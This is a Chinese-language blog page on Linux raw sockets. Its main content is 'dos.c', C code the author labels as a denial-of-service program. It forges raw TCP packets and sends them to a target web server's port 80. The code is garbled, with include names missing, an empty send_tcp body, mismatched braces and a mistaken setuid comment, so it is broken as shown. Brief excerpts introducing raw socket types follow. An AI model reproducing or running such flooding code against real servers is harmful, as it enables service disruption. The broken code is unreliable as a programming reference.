Linux網路程式設計 原始套接字

2021-08-26 19:56:45 字數 1196 閱讀 8887

原始套接字(sock_raw). 應用原始套接字,我們可以編寫出由tcp和udp套接字不能夠實現的功能.

注意原始套接字只能夠由有 root許可權的人建立.

/******************** dos.c *****************/ #include #include #include #include #include #include #include #include #include #include #define destport 80 /* 要攻擊的埠(web) */ #define localport 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=af_inet; addr.sin_port=htons(destport); if(inet_aton(argv[1],&addr.sin_addr)==0) addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } /**** 使用ipproto_tcp建立乙個tcp的原始套接字 ****/ sockfd=socket(af_inet,sock_raw,ipproto_tcp); if(sockfd<0) /******** 設定ip資料報格式,告訴系統核心模組ip資料報由我們自己來填寫 ***/ setsockopt(sockfd,ipproto_ip,ip_hdrincl,&on,sizeof(on)); /**** 沒有辦法,只用超級護使用者才可以使用原始套接字 *********/ setuid(getpid()); /********* 傳送了!!!! ****/ send_tcp(sockfd,&addr); } /******* 傳送的實現 *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) } /* 下面是首部校驗和的演算法,偷了別人的 */ unsigned short check_sum(unsigned short *addr,int len) if(nleft==1) sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }

網路程式設計原始套接字

socket stream 流式套接字 socket dgram socket raw 原始套接字 ipproto ip ip協議 ipproto icmp internet控制訊息協議,配合原始套接字可以實現ping的功能 ipproto igmp internet 閘道器服務協議,在多播中用到 ...

Linux 原始套接字

原始套接字可以用來自行組裝ip資料報,然後將資料報傳送到其他終端。必須在管理員許可權下才能使用原始套接字。總結自 unix網路程式設計 卷1 套接字聯網api 1 原始套接字的建立 int sockfd socket af inet,sock raw,ipproto 後面的 可以是icmp,udp,...

linux原始套接字

通常情況下程式設計師接所接觸到的套接字 socket 為兩類 1 流式套接字 sock stream 一種面向連線的 socket,針對於面向連線的tcp 服務應用 2 資料報式套接字 sock dgram 一種無連線的 socket,對應於無連線的 udp 服務應用。從使用者的角度來看,sock ...